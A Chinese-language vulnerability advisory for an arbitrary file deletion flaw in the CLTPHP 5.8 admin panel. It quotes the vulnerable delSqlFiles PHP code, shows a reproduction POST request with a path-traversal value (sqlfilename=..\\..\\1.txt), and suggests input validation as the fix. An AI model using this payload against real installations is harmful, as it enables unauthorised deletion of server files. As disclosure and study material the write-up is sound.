CLTPHP 5.8 后台任意文件删除漏洞

一、漏洞简介

CLTPHP是基于ThinkPHP5开发,后台采用Layui框架的内容管理系统,

二、漏洞影响

CLTPHP 5.8及之前版本

三、复现过程

漏洞分析

app/admin/controller/Database.php 第221-248行:

public function delSqlFiles() {  
  $batchFlag = input('param.batchFlag', 0, 'intval');  
  //批量删除  
  if ($batchFlag) {  
    $files = input('key', array());  
  }else {  
    $files[] = input('sqlfilename' , '');  
  }  
  if (empty($files)) {  
\10.     $result['msg'] = '请选择要删除的sql文件!';  
\11.     $result['code'] = 0;  
\12.     return $result;  
\13.   }  
\14.  
\15.   foreach ($files as $file) {  
\16.     $a = unlink($this->datadir.'/' . $file);  
\17.   }  
\18.   if($a){  
\19.     $result['msg'] = '删除成功!';  
\20.     $result['url'] = url('restore');  
\21.     $result['code'] = 1;  
\22.     return $result;  
\23.   }else{  
\24.     $result['msg'] = '删除失败!';  
\25.     $result['code'] = 0;  
\26.     return $result;  
\27.   }  
\28. }  

在这段函数中,参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

漏洞复现

构造URL,成功删除根目录的1.txt文件

http://www.0-sec.org/admin/Database/delSqlFiles.html


POST: sqlfilename=..\\..\\1.txt

11.png

修复建议

对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。